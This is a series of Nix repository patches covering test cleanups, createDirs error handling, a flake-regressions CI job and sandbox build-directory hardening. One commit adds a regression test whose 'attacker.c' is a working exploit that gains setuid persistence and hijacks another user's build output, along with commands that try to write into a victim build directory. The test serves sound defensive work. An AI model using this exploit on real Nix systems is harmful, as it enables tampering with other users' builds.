+clearStoreIfPossible if [[ -n ${CONTENT_ADDRESSED:-} ]]; then shellDotNix="$PWD/ca-shell.nix" diff --git a/tests/functional/optimise-store.sh b/tests/functional/optimise-store.sh index f010c5549..0bedafc43 100755 --- a/tests/functional/optimise-store.sh +++ b/tests/functional/optimise-store.sh @@ -2,13 +2,14 @@ source common.sh -TODO_NixOS - -clearStore +clearStoreIfPossible outPath1=$(echo 'with import ./config.nix; mkDerivation { name = "foo1"; builder = builtins.toFile "builder" "mkdir $out; echo hello > $out/foo"; }' | nix-build - --no-out-link --auto-optimise-store) outPath2=$(echo 'with import ./config.nix; mkDerivation { name = "foo2"; builder = builtins.toFile "builder" "mkdir $out; echo hello > $out/foo"; }' | nix-build - --no-out-link --auto-optimise-store) +TODO_NixOS # ignoring the client-specified setting 'auto-optimise-store', because it is a restricted setting and you are not a trusted user + # TODO: only continue when trusted user or root + inode1="$(stat --format=%i $outPath1/foo)" inode2="$(stat --format=%i $outPath2/foo)" if [ "$inode1" != "$inode2" ]; then diff --git a/tests/functional/pass-as-file.sh b/tests/functional/pass-as-file.sh index 0b5605d05..6487bfffd 100755 --- a/tests/functional/pass-as-file.sh +++ b/tests/functional/pass-as-file.sh @@ -2,9 +2,7 @@ source common.sh -TODO_NixOS - -clearStore +clearStoreIfPossible outPath=$(nix-build --no-out-link -E " with import ./config.nix; diff --git a/tests/functional/placeholders.sh b/tests/functional/placeholders.sh index d4e09a91b..33ec0c2b7 100755 --- a/tests/functional/placeholders.sh +++ b/tests/functional/placeholders.sh @@ -2,9 +2,7 @@ source common.sh -TODO_NixOS - -clearStore +clearStoreIfPossible nix-build --no-out-link -E ' with import ./config.nix; diff --git a/tests/functional/pure-eval.sh b/tests/functional/pure-eval.sh index 8a18dec6e..250381099 100755 --- a/tests/functional/pure-eval.sh +++ b/tests/functional/pure-eval.sh @@ -2,9 +2,7 @@ source common.sh -TODO_NixOS - -clearStore +clearStoreIfPossible nix eval --expr 'assert 1 + 2 == 3; true' diff --git a/tests/functional/readfile-context.sh b/tests/functional/readfile-context.sh index 0ef549c8d..cb9ef6234 100755 --- a/tests/functional/readfile-context.sh +++ b/tests/functional/readfile-context.sh @@ -2,7 +2,7 @@ source common.sh -TODO_NixOS +TODO_NixOS # NixOS doesn't provide $NIX_STATE_DIR (and shouldn't) clearStore diff --git a/tests/functional/recursive.sh b/tests/functional/recursive.sh index 6b255e81a..640fb92d2 100755 --- a/tests/functional/recursive.sh +++ b/tests/functional/recursive.sh @@ -2,7 +2,7 @@ source common.sh -TODO_NixOS +TODO_NixOS # can't enable a sandbox feature easily enableFeatures 'recursive-nix' restartDaemon diff --git a/tests/functional/restricted.sh b/tests/functional/restricted.sh index 917a554c5..915d973b0 100755 --- a/tests/functional/restricted.sh +++ b/tests/functional/restricted.sh @@ -2,9 +2,7 @@ source common.sh -TODO_NixOS - -clearStore +clearStoreIfPossible nix-instantiate --restrict-eval --eval -E '1 + 2' (! nix-instantiate --eval --restrict-eval ./restricted.nix) diff --git a/tests/functional/search.sh b/tests/functional/search.sh index 1195c2a06..3fadecd02 100755 --- a/tests/functional/search.sh +++ b/tests/functional/search.sh @@ -2,9 +2,7 @@ source common.sh -TODO_NixOS - -clearStore +clearStoreIfPossible clearCache (( $(nix search -f search.nix '' hello | wc -l) > 0 )) diff --git a/tests/functional/selfref-gc.sh b/tests/functional/selfref-gc.sh index a5e368b51..518aea66b 100755 --- a/tests/functional/selfref-gc.sh +++ b/tests/functional/selfref-gc.sh @@ -4,9 +4,7 @@ source common.sh requireDaemonNewerThan "2.6.0pre20211215" -TODO_NixOS - -clearStore +clearStoreIfPossible nix-build --no-out-link -E ' with import ./config.nix; diff --git a/tests/functional/signing.sh b/tests/functional/signing.sh index d268fd116..890d1446f 100755 --- a/tests/functional/signing.sh +++ b/tests/functional/signing.sh @@ -2,9 +2,7 @@ source common.sh -TODO_NixOS - -clearStore +clearStoreIfPossible clearCache nix-store --generate-binary-cache-key cache1.example.org $TEST_ROOT/sk1 $TEST_ROOT/pk1 @@ -18,6 +16,7 @@ outPath=$(nix-build dependencies.nix --no-out-link --secret-key-files "$TEST_ROO # Verify that the path got signed. info=$(nix path-info --json $outPath) echo $info | jq -e '.[] | .ultimate == true' +TODO_NixOS # looks like an actual bug? Following line fails on NixOS: echo $info | jq -e '.[] | .signatures.[] | select(startswith("cache1.example.org"))' echo $info | jq -e '.[] | .signatures.[] | select(startswith("cache2.example.org"))' diff --git a/tests/functional/structured-attrs.sh b/tests/functional/structured-attrs.sh index 32d4c9957..ec1282668 100755 --- a/tests/functional/structured-attrs.sh +++ b/tests/functional/structured-attrs.sh @@ -6,9 +6,7 @@ source common.sh # tests for the older versions requireDaemonNewerThan "2.4pre20210712" -TODO_NixOS - -clearStore +clearStoreIfPossible rm -f $TEST_ROOT/result @@ -23,6 +21,8 @@ env NIX_PATH=nixpkgs=shell.nix nix-shell structured-attrs-shell.nix \ nix develop -f structured-attrs-shell.nix -c bash -c 'test "3" = "$(jq ".my.list|length" < $NIX_ATTRS_JSON_FILE)"' +TODO_NixOS # following line fails. + # `nix develop` is a slightly special way of dealing with environment vars, it parses # these from a shell-file exported from a derivation. This is to test especially `outputs` # (which is an associative array in thsi case) being fine. diff --git a/tests/functional/suggestions.sh b/tests/functional/suggestions.sh index 1140e4f78..8db6f7b97 100755 --- a/tests/functional/suggestions.sh +++ b/tests/functional/suggestions.sh @@ -2,9 +2,7 @@ source common.sh -TODO_NixOS - -clearStore +clearStoreIfPossible cd "$TEST_HOME" diff --git a/tests/functional/tarball.sh b/tests/functional/tarball.sh index eb541f3bb..a2824cd12 100755 --- a/tests/functional/tarball.sh +++ b/tests/functional/tarball.sh @@ -2,9 +2,7 @@ source common.sh -TODO_NixOS - -clearStore +clearStoreIfPossible rm -rf $TEST_HOME diff --git a/tests/functional/why-depends.sh b/tests/functional/why-depends.sh index 1ce66f154..ce53546d8 100755 --- a/tests/functional/why-depends.sh +++ b/tests/functional/why-depends.sh @@ -2,9 +2,7 @@ source common.sh -TODO_NixOS - -clearStore +clearStoreIfPossible cp ./dependencies.nix ./dependencies.builder0.sh ./config.nix $TEST_HOME From 7c9f3eeef8f3946a833b5336f8b0339766647058 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Wed, 19 Jun 2024 21:46:01 +0200 Subject: [PATCH 0857/1251] tests/functional/common/init.sh: Use parentheses around negation roberth: Not strictly necessary, but probably a good habit Co-authored-by: Eelco Dolstra --- tests/functional/common/init.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tests/functional/common/init.sh b/tests/functional/common/init.sh index 19cef5af9..405ba3090 100755 --- a/tests/functional/common/init.sh +++ b/tests/functional/common/init.sh @@ -9,7 +9,7 @@ if isTestOnNixOS; then export NIX_USER_CONF_FILES="$test_nix_conf_dir/nix.conf" mkdir -p "$test_nix_conf_dir" "$TEST_HOME" - ! test -e "$test_nix_conf" + (! test -e "$test_nix_conf") cat > "$test_nix_conf_dir/nix.conf" < Date: Thu, 20 Jun 2024 14:49:53 +0200 Subject: [PATCH 0858/1251] Apply suggestions from code review Co-authored-by: Valentin Gagarin --- tests/functional/common/init.sh | 1 + tests/nixos/quick-build.nix | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/tests/functional/common/init.sh b/tests/functional/common/init.sh index 405ba3090..eb6be7eb0 100755 --- a/tests/functional/common/init.sh +++ b/tests/functional/common/init.sh @@ -11,6 +11,7 @@ if isTestOnNixOS; then mkdir -p "$test_nix_conf_dir" "$TEST_HOME" (! test -e "$test_nix_conf") cat > "$test_nix_conf_dir/nix.conf" < Date: Thu, 20 Jun 2024 19:53:25 +0530 Subject: [PATCH 0859/1251] fix: handle errors in `nix::createDirs` the `std::filesystem::create_directories` can fail due to insufficient permissions. We convert this error into a `SysError` and catch it wherever required. --- src/libcmd/repl-interacter.cc | 4 ++-- src/libstore/store-api.cc | 2 +- src/libutil/file-system.cc | 6 +++++- 3 files changed, 8 insertions(+), 4 deletions(-) diff --git a/src/libcmd/repl-interacter.cc b/src/libcmd/repl-interacter.cc index 254a86d7b..eb4361e25 100644 --- a/src/libcmd/repl-interacter.cc +++ b/src/libcmd/repl-interacter.cc @@ -107,8 +107,8 @@ ReadlineLikeInteracter::Guard ReadlineLikeInteracter::init(detail::ReplCompleter rl_readline_name = "nix-repl"; try { createDirs(dirOf(historyFile)); - } catch (std::filesystem::filesystem_error & e) { - warn(e.what()); + } catch (SystemError & e) { + logWarning(e.info()); } #ifndef USE_READLINE el_hist_size = 1000; diff --git a/src/libstore/store-api.cc b/src/libstore/store-api.cc index ed5275377..2edb56510 100644 --- a/src/libstore/store-api.cc +++ b/src/libstore/store-api.cc @@ -1304,7 +1304,7 @@ ref openStore(StoreReference && storeURI) if (!pathExists(chrootStore)) { try { createDirs(chrootStore); - } catch (std::filesystem::filesystem_error & e) { + } catch (SystemError & e) { return std::make_shared(params); } warn("'%s' does not exist, so Nix will use '%s' as a chroot store", stateDir, chrootStore); diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc index 5f269b7c0..443ccf829 100644 --- a/src/libutil/file-system.cc +++ b/src/libutil/file-system.cc @@ -415,7 +415,11 @@ void deletePath(const fs::path & path) void createDirs(const Path & path) { - fs::create_directories(path); + try { + fs::create_directories(path); + } catch (fs::filesystem_error & e) { + throw SysError("creating directory '%1%'", path); + } } From d9684664c8693b3f1d1ad69b6ed3dbce363748b0 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Thu, 20 Jun 2024 20:26:07 +0200 Subject: [PATCH 0860/1251] Revert "tests/functional/common/init.sh: Use parentheses around negation" ShellCheck doesn't want us to add extra parentheses for show. This reverts commit 7c9f3eeef8f3946a833b5336f8b0339766647058. --- tests/functional/common/init.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tests/functional/common/init.sh b/tests/functional/common/init.sh index eb6be7eb0..d33ad5d57 100755 --- a/tests/functional/common/init.sh +++ b/tests/functional/common/init.sh @@ -9,7 +9,7 @@ if isTestOnNixOS; then export NIX_USER_CONF_FILES="$test_nix_conf_dir/nix.conf" mkdir -p "$test_nix_conf_dir" "$TEST_HOME" - (! test -e "$test_nix_conf") + ! test -e "$test_nix_conf" cat > "$test_nix_conf_dir/nix.conf" < Date: Wed, 24 Apr 2024 15:26:18 +0200 Subject: [PATCH 0861/1251] Run the flake-regressions test suite --- .github/workflows/ci.yml | 20 ++++++++++++++++++++ scripts/flake-regressions.sh | 27 +++++++++++++++++++++++++++ 2 files changed, 47 insertions(+) create mode 100755 scripts/flake-regressions.sh diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 1aa3b776e..a0235eb0f 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -176,3 +176,23 @@ jobs: - uses: DeterminateSystems/nix-installer-action@main - uses: DeterminateSystems/magic-nix-cache-action@main - run: nix build -L .#hydraJobs.tests.githubFlakes .#hydraJobs.tests.tarballFlakes + + flake_regressions: + needs: vm_tests + runs-on: ubuntu-22.04 + steps: + - name: Checkout nix + uses: actions/checkout@v4 + - name: Checkout flake-regressions + uses: actions/checkout@v4 + with: + repository: DeterminateSystems/flake-regressions + path: flake-regressions + - name: Checkout flake-regressions-data + uses: actions/checkout@v4 + with: + repository: DeterminateSystems/flake-regressions-data + path: flake-regressions/tests + - uses: DeterminateSystems/nix-installer-action@main + - uses: DeterminateSystems/magic-nix-cache-action@main + - run: nix build --out-link ./new-nix && PATH=$(pwd)/new-nix/bin:$PATH scripts/flake-regressions.sh diff --git a/scripts/flake-regressions.sh b/scripts/flake-regressions.sh new file mode 100755 index 000000000..e6cfbfa24 --- /dev/null +++ b/scripts/flake-regressions.sh @@ -0,0 +1,27 @@ +#! /usr/bin/env bash + +set -e + +echo "Nix version:" +nix --version + +cd flake-regressions + +status=0 + +flakes=$(ls -d tests/*/*/* | head -n25) + +echo "Running flake tests..." + +for flake in $flakes; do + + if ! REGENERATE=0 ./eval-flake.sh $flake; then + status=1 + echo "❌ $flake" + else + echo "✅ $flake" + fi + +done + +exit "$status" From 0eec60968ad393281ae9e31f84f2cbc15fe0bc2f Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Tue, 14 May 2024 15:58:37 +0200 Subject: [PATCH 0862/1251] flake-regressions.sh: Make the sort order deterministic --- scripts/flake-regressions.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/scripts/flake-regressions.sh b/scripts/flake-regressions.sh index e6cfbfa24..5cc55bf4f 100755 --- a/scripts/flake-regressions.sh +++ b/scripts/flake-regressions.sh @@ -9,7 +9,7 @@ cd flake-regressions status=0 -flakes=$(ls -d tests/*/*/* | head -n25) +flakes=$(ls -d tests/*/*/* | sort | head -n25) echo "Running flake tests..." From 6f3d2daee66e8de80faa45e1a30abbabcc08764a Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Mon, 10 Jun 2024 15:16:41 +0200 Subject: [PATCH 0863/1251] Fix spellcheck --- scripts/flake-regressions.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/scripts/flake-regressions.sh b/scripts/flake-regressions.sh index 5cc55bf4f..d76531134 100755 --- a/scripts/flake-regressions.sh +++ b/scripts/flake-regressions.sh @@ -9,13 +9,13 @@ cd flake-regressions status=0 -flakes=$(ls -d tests/*/*/* | sort | head -n25) +flakes=$(find tests -mindepth 3 -maxdepth 3 -type d -not -path '*/.*' | sort | head -n25) echo "Running flake tests..." for flake in $flakes; do - if ! REGENERATE=0 ./eval-flake.sh $flake; then + if ! REGENERATE=0 ./eval-flake.sh "$flake"; then status=1 echo "❌ $flake" else From d4a70b67a0d76328644ab975ef0f714b1f28c2cd Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Fri, 21 Jun 2024 15:38:03 +0200 Subject: [PATCH 0864/1251] Move flake-regressions repos to the NixOS org --- .github/workflows/ci.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index a0235eb0f..6f0b63eaa 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -186,12 +186,12 @@ jobs: - name: Checkout flake-regressions uses: actions/checkout@v4 with: - repository: DeterminateSystems/flake-regressions + repository: NixOS/flake-regressions path: flake-regressions - name: Checkout flake-regressions-data uses: actions/checkout@v4 with: - repository: DeterminateSystems/flake-regressions-data + repository: NixOS/flake-regressions-data path: flake-regressions/tests - uses: DeterminateSystems/nix-installer-action@main - uses: DeterminateSystems/magic-nix-cache-action@main From 717f3eea3981786a1092d975bb811fe93cf7a66e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= Date: Mon, 8 Apr 2024 14:51:54 +0200 Subject: [PATCH 0865/1251] Add a test for the user sandboxing --- tests/nixos/default.nix | 2 + tests/nixos/user-sandboxing/attacker.c | 82 +++++++++++++++ tests/nixos/user-sandboxing/default.nix | 127 ++++++++++++++++++++++++ 3 files changed, 211 insertions(+) create mode 100644 tests/nixos/user-sandboxing/attacker.c create mode 100644 tests/nixos/user-sandboxing/default.nix diff --git a/tests/nixos/default.nix b/tests/nixos/default.nix index 710f8a273..2cf7a64c6 100644 --- a/tests/nixos/default.nix +++ b/tests/nixos/default.nix @@ -132,4 +132,6 @@ in ca-fd-leak = runNixOSTestFor "x86_64-linux" ./ca-fd-leak; gzip-content-encoding = runNixOSTestFor "x86_64-linux" ./gzip-content-encoding.nix; + + user-sandboxing = runNixOSTestFor "x86_64-linux" ./user-sandboxing; } diff --git a/tests/nixos/user-sandboxing/attacker.c b/tests/nixos/user-sandboxing/attacker.c new file mode 100644 index 000000000..3bd729c04 --- /dev/null +++ b/tests/nixos/user-sandboxing/attacker.c @@ -0,0 +1,82 @@ +#define _GNU_SOURCE + +#include +#include +#include +#include +#include +#include + +#define SYS_fchmodat2 452 + +int fchmodat2(int dirfd, const char *pathname, mode_t mode, int flags) { + return syscall(SYS_fchmodat2, dirfd, pathname, mode, flags); +} + +int main(int argc, char **argv) { + if (argc <= 1) { + // stage 1: place the setuid-builder executable + + // make the build directory world-accessible first + chmod(".", 0755); + + if (fchmodat2(AT_FDCWD, "attacker", 06755, AT_SYMLINK_NOFOLLOW) < 0) { + perror("Setting the suid bit on attacker"); + exit(-1); + } + + } else { + // stage 2: corrupt the victim derivation while it's building + + // prevent the kill + if (setresuid(-1, -1, getuid())) { + perror("setresuid"); + exit(-1); + } + + if (fork() == 0) { + + // wait for the victim to build + int fd = inotify_init(); + inotify_add_watch(fd, argv[1], IN_CREATE); + int dirfd = open(argv[1], O_DIRECTORY); + if (dirfd < 0) { + perror("opening the global build directory"); + exit(-1); + } + char buf[4096]; + fprintf(stderr, "Entering the inotify loop\n"); + for (;;) { + ssize_t len = read(fd, buf, sizeof(buf)); + struct inotify_event *ev; + for (char *pe = buf; pe < buf + len; + pe += sizeof(struct inotify_event) + ev->len) { + ev = (struct inotify_event *)pe; + fprintf(stderr, "folder %s created\n", ev->name); + // wait a bit to prevent racing against the creation + sleep(1); + int builddir = openat(dirfd, ev->name, O_DIRECTORY); + if (builddir < 0) { + perror("opening the build directory"); + continue; + } + int resultfile = openat(builddir, "build/result", O_WRONLY | O_TRUNC); + if (resultfile < 0) { + perror("opening the hijacked file"); + continue; + } + int writeres = write(resultfile, "bad\n", 4); + if (writeres < 0) { + perror("writing to the hijacked file"); + continue; + } + fprintf(stderr, "Hijacked the build for %s\n", ev->name); + return 0; + } + } + } + + exit(0); + } +} + diff --git a/tests/nixos/user-sandboxing/default.nix b/tests/nixos/user-sandboxing/default.nix new file mode 100644 index 000000000..cdb0c7eb6 --- /dev/null +++ b/tests/nixos/user-sandboxing/default.nix @@ -0,0 +1,127 @@ +{ config, ... }: + +let + pkgs = config.nodes.machine.nixpkgs.pkgs; + + attacker = pkgs.runCommandWith { + name = "attacker"; + stdenv = pkgs.pkgsStatic.stdenv; + } '' + $CC -static -o $out ${./attacker.c} + ''; + + try-open-build-dir = pkgs.writeScript "try-open-build-dir" '' + export PATH=${pkgs.coreutils}/bin:$PATH + + set -x + + chmod 700 . + + touch foo + + # Synchronisation point: create a world-writable fifo and wait for someone + # to write into it + mkfifo syncPoint + chmod 777 syncPoint + cat syncPoint + + touch $out + + set +x + ''; + + create-hello-world = pkgs.writeScript "create-hello-world" '' + export PATH=${pkgs.coreutils}/bin:$PATH + + set -x + + echo "hello, world" > result + + # Synchronisation point: create a world-writable fifo and wait for someone + # to write into it + mkfifo syncPoint + chmod 777 syncPoint + cat syncPoint + + cp result $out + + set +x + ''; + +in +{ + name = "sandbox-setuid-leak"; + + nodes.machine = + { config, lib, pkgs, ... }: + { virtualisation.writableStore = true; + nix.settings.substituters = lib.mkForce [ ]; + nix.nrBuildUsers = 1; + virtualisation.additionalPaths = [ pkgs.busybox-sandbox-shell attacker try-open-build-dir create-hello-world pkgs.socat ]; + boot.kernelPackages = pkgs.linuxPackages_latest; + users.users.alice = { + isNormalUser = true; + }; + }; + + testScript = { nodes }: '' + start_all() + + with subtest("A builder can't give access to its build directory"): + # Make sure that a builder can't change the permissions on its build + # directory to the point of opening it up to external users + + # A derivation whose builder tries to make its build directory as open + # as possible and wait for someone to hijack it + machine.succeed(r""" + nix-build -v -E ' + builtins.derivation { + name = "open-build-dir"; + system = builtins.currentSystem; + builder = "${pkgs.busybox-sandbox-shell}/bin/sh"; + args = [ (builtins.storePath "${try-open-build-dir}") ]; + }' >&2 & + """.strip()) + + # Wait for the build to be ready + # This is OK because it runs as root, so we can access everything + machine.wait_for_file("/tmp/nix-build-open-build-dir.drv-0/syncPoint") + + # But Alice shouldn't be able to access the build directory + machine.fail("su alice -c 'ls /tmp/nix-build-open-build-dir.drv-0'") + machine.fail("su alice -c 'touch /tmp/nix-build-open-build-dir.drv-0/bar'") + machine.fail("su alice -c 'cat /tmp/nix-build-open-build-dir.drv-0/foo'") + + # Tell the user to finish the build + machine.succeed("echo foo > /tmp/nix-build-open-build-dir.drv-0/syncPoint") + + with subtest("Being able to execute stuff as the build user doesn't give access to the build dir"): + machine.succeed(r""" + nix-build -E ' + builtins.derivation { + name = "innocent"; + system = builtins.currentSystem; + builder = "${pkgs.busybox-sandbox-shell}/bin/sh"; + args = [ (builtins.storePath "${create-hello-world}") ]; + }' >&2 & + """.strip()) + machine.wait_for_file("/tmp/nix-build-innocent.drv-0/syncPoint") + + # The build ran as `nixbld1` (which is the only build user on the + # machine), but a process running as `nixbld1` outside the sandbox + # shouldn't be able to touch the build directory regardless + machine.fail("su nixbld1 --shell ${pkgs.busybox-sandbox-shell}/bin/sh -c 'ls /tmp/nix-build-innocent.drv-0'") + machine.fail("su nixbld1 --shell ${pkgs.busybox-sandbox-shell}/bin/sh -c 'echo pwned > /tmp/nix-build-innocent.drv-0/result'") + + # Finish the build + machine.succeed("echo foo > /tmp/nix-build-innocent.drv-0/syncPoint") + + # Check that the build was not affected + machine.succeed(r""" + cat ./result + test "$(cat ./result)" = "hello, world" + """.strip()) + ''; + +} + From 1d3696f0fb88d610abc234a60e0d6d424feafdf1 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= Date: Tue, 2 Apr 2024 17:06:48 +0200 Subject: [PATCH 0866/1251] Run the builds in a daemon-controled directory Instead of running the builds under `$TMPDIR/{unique-build-directory-owned-by-the-build-user}`, run them under `$TMPDIR/{unique-build-directory-owned-by-the-daemon}/{subdir-owned-by-the-build-user}` where the build directory is only readable and traversable by the daemon user. This achieves two things: 1. It prevents builders from making their build directory world-readable (or even writeable), which would allow the outside world to interact with them. 2. It prevents external processes running as the build user (either because that somehow leaked, maybe as a consequence of 1., or because `build-users` isn't in use) from gaining access to the build directory. --- .../unix/build/local-derivation-goal.cc | 5 +++-- src/libutil/file-system.cc | 5 +++++ src/libutil/file-system.hh | 5 +++++ tests/functional/check.sh | 2 +- tests/nixos/user-sandboxing/default.nix | 20 ++++++++++--------- 5 files changed, 25 insertions(+), 12 deletions(-) diff --git a/src/libstore/unix/build/local-derivation-goal.cc b/src/libstore/unix/build/local-derivation-goal.cc index a99439738..2e75aa031 100644 --- a/src/libstore/unix/build/local-derivation-goal.cc +++ b/src/libstore/unix/build/local-derivation-goal.cc @@ -503,8 +503,9 @@ void LocalDerivationGoal::startBuilder() /* Create a temporary directory where the build will take place. */ - tmpDir = createTempDir(settings.buildDir.get().value_or(""), "nix-build-" + std::string(drvPath.name()), false, false, 0700); - + auto parentTmpDir = createTempDir(settings.buildDir.get().value_or(""), "nix-build-" + std::string(drvPath.name()), false, false, 0700); + tmpDir = parentTmpDir + "/build"; + createDir(tmpDir, 0700); chownToBuilder(tmpDir); for (auto & [outputName, status] : initialOutputs) { diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc index 9d6142556..cadcab96d 100644 --- a/src/libutil/file-system.cc +++ b/src/libutil/file-system.cc @@ -412,6 +412,11 @@ void deletePath(const fs::path & path) deletePath(path, dummy); } +void createDir(const Path &path, mode_t mode) +{ + if (mkdir(path.c_str(), mode) == -1) + throw SysError("creating directory '%1%'", path); +} Paths createDirs(const Path & path) { diff --git a/src/libutil/file-system.hh b/src/libutil/file-system.hh index c6b6ecedb..e7bf087eb 100644 --- a/src/libutil/file-system.hh +++ b/src/libutil/file-system.hh @@ -157,6 +157,11 @@ inline Paths createDirs(PathView path) return createDirs(Path(path)); } +/** + * Create a single directory. + */ +void createDir(const Path & path, mode_t mode = 0755); + /** * Create a symlink. */ diff --git a/tests/functional/check.sh b/tests/functional/check.sh index efb93eeb0..a5e61b035 100755 --- a/tests/functional/check.sh +++ b/tests/functional/check.sh @@ -46,7 +46,7 @@ test_custom_build_dir() { --no-out-link --keep-failed --option build-dir "$TEST_ROOT/custom-build-dir" 2> $TEST_ROOT/log || status=$? [ "$status" = "100" ] [[ 1 == "$(count "$customBuildDir/nix-build-"*)" ]] - local buildDir="$customBuildDir/nix-build-"* + local buildDir="$customBuildDir/nix-build-"*"/build" grep $checkBuildId $buildDir/checkBuildId } test_custom_build_dir diff --git a/tests/nixos/user-sandboxing/default.nix b/tests/nixos/user-sandboxing/default.nix index cdb0c7eb6..8a16f44e8 100644 --- a/tests/nixos/user-sandboxing/default.nix +++ b/tests/nixos/user-sandboxing/default.nix @@ -16,6 +16,8 @@ let set -x chmod 700 . + # Shouldn't be able to open the root build directory + (! chmod 700 ..) touch foo @@ -85,15 +87,15 @@ in # Wait for the build to be ready # This is OK because it runs as root, so we can access everything - machine.wait_for_file("/tmp/nix-build-open-build-dir.drv-0/syncPoint") + machine.wait_for_file("/tmp/nix-build-open-build-dir.drv-0/build/syncPoint") # But Alice shouldn't be able to access the build directory - machine.fail("su alice -c 'ls /tmp/nix-build-open-build-dir.drv-0'") - machine.fail("su alice -c 'touch /tmp/nix-build-open-build-dir.drv-0/bar'") - machine.fail("su alice -c 'cat /tmp/nix-build-open-build-dir.drv-0/foo'") + machine.fail("su alice -c 'ls /tmp/nix-build-open-build-dir.drv-0/build'") + machine.fail("su alice -c 'touch /tmp/nix-build-open-build-dir.drv-0/build/bar'") + machine.fail("su alice -c 'cat /tmp/nix-build-open-build-dir.drv-0/build/foo'") # Tell the user to finish the build - machine.succeed("echo foo > /tmp/nix-build-open-build-dir.drv-0/syncPoint") + machine.succeed("echo foo > /tmp/nix-build-open-build-dir.drv-0/build/syncPoint") with subtest("Being able to execute stuff as the build user doesn't give access to the build dir"): machine.succeed(r""" @@ -105,16 +107,16 @@ in args = [ (builtins.storePath "${create-hello-world}") ]; }' >&2 & """.strip()) - machine.wait_for_file("/tmp/nix-build-innocent.drv-0/syncPoint") + machine.wait_for_file("/tmp/nix-build-innocent.drv-0/build/syncPoint") # The build ran as `nixbld1` (which is the only build user on the # machine), but a process running as `nixbld1` outside the sandbox # shouldn't be able to touch the build directory regardless - machine.fail("su nixbld1 --shell ${pkgs.busybox-sandbox-shell}/bin/sh -c 'ls /tmp/nix-build-innocent.drv-0'") - machine.fail("su nixbld1 --shell ${pkgs.busybox-sandbox-shell}/bin/sh -c 'echo pwned > /tmp/nix-build-innocent.drv-0/result'") + machine.fail("su nixbld1 --shell ${pkgs.busybox-sandbox-shell}/bin/sh -c 'ls /tmp/nix-build-innocent.drv-0/build'") + machine.fail("su nixbld1 --shell ${pkgs.busybox-sandbox-shell}/bin/sh -c 'echo pwned > /tmp/nix-build-innocent.drv-0/build/result'") # Finish the build - machine.succeed("echo foo > /tmp/nix-build-innocent.drv-0/syncPoint") + machine.succeed("echo foo > /tmp/nix-build-innocent.drv-0/build/syncPoint") # Check that the build was not affected machine.succeed(r""" From d99c868b0410d44faf547eb5ac923ea62abb649f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= Date: Tue, 9 Apr 2024 10:48:05 +0200 Subject: [PATCH 0867/1251] Add a release note for the build-dir hardening --- doc/manual/rl-next/harden-user-sandboxing.md | 8 ++++++++ 1 file changed, 8 insertions(+) create mode 100644 doc/manual/rl-next/harden-user-sandboxing.md diff --git a/doc/manual/rl-next/harden-user-sandboxing.md b/doc/manual/rl-next/harden-user-sandboxing.md new file mode 100644 index 000000000..fa3c49fc0 --- /dev/null +++ b/doc/manual/rl-next/harden-user-sandboxing.md @@ -0,0 +1,8 @@ +--- +synopsis: Harden the user sandboxing +significance: significant +issues: +prs: +--- + +The build directory has been hardened against interference with the outside world by nesting it inside another directory owned by (and only readable by) the daemon user. From ede95b1fc133bd1d8eabc862f2e3e03c024cb755 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Tue, 14 May 2024 13:00:00 +0200 Subject: [PATCH 0868/1251] Put the chroot inside a directory that isn't group/world-accessible Previously, the .chroot directory had permission 750 or 755 (depending on the uid-range system feature) and was owned by root/nixbld. This makes it possible for any nixbld user (if uid-range is disabled) or any user (if uid-range is enabled) to inspect the contents of the chroot of an active build and maybe interfere with it (e.g. via /tmp in the chroot, which has 1777 permission). To prevent this, the root is now a subdirectory of .chroot, which has permission 700 and is owned by root/root. --- src/libstore/unix/build/local-derivation-goal.cc | 14 +++++++++----- src/libstore/unix/build/local-derivation-goal.hh | 10 ++++++++++ 2 files changed, 19 insertions(+), 5 deletions(-) diff --git a/src/libstore/unix/build/local-derivation-goal.cc b/src/libstore/unix/build/local-derivation-goal.cc index 2e75aa031..d51a4817c 100644 --- a/src/libstore/unix/build/local-derivation-goal.cc +++ b/src/libstore/unix/build/local-derivation-goal.cc @@ -673,15 +673,19 @@ void LocalDerivationGoal::startBuilder() environment using bind-mounts. We put it in the Nix store so that the build outputs can be moved efficiently from the chroot to their final location. */ - chrootRootDir = worker.store.Store::toRealPath(drvPath) + ".chroot"; - deletePath(chrootRootDir); + chrootParentDir = worker.store.Store::toRealPath(drvPath) + ".chroot"; + deletePath(chrootParentDir); /* Clean up the chroot directory automatically. */ - autoDelChroot = std::make_shared(chrootRootDir); + autoDelChroot = std::make_shared(chrootParentDir); - printMsg(lvlChatty, "setting up chroot environment in '%1%'", chrootRootDir); + printMsg(lvlChatty, "setting up chroot environment in '%1%'", chrootParentDir); + + if (mkdir(chrootParentDir.c_str(), 0700) == -1) + throw SysError("cannot create '%s'", chrootRootDir); + + chrootRootDir = chrootParentDir + "/root"; - // FIXME: make this 0700 if (mkdir(chrootRootDir.c_str(), buildUser && buildUser->getUIDCount() != 1 ? 0755 : 0750) == -1) throw SysError("cannot create '%1%'", chrootRootDir); diff --git a/src/libstore/unix/build/local-derivation-goal.hh b/src/libstore/unix/build/local-derivation-goal.hh index f25cb9424..77d07de98 100644 --- a/src/libstore/unix/build/local-derivation-goal.hh +++ 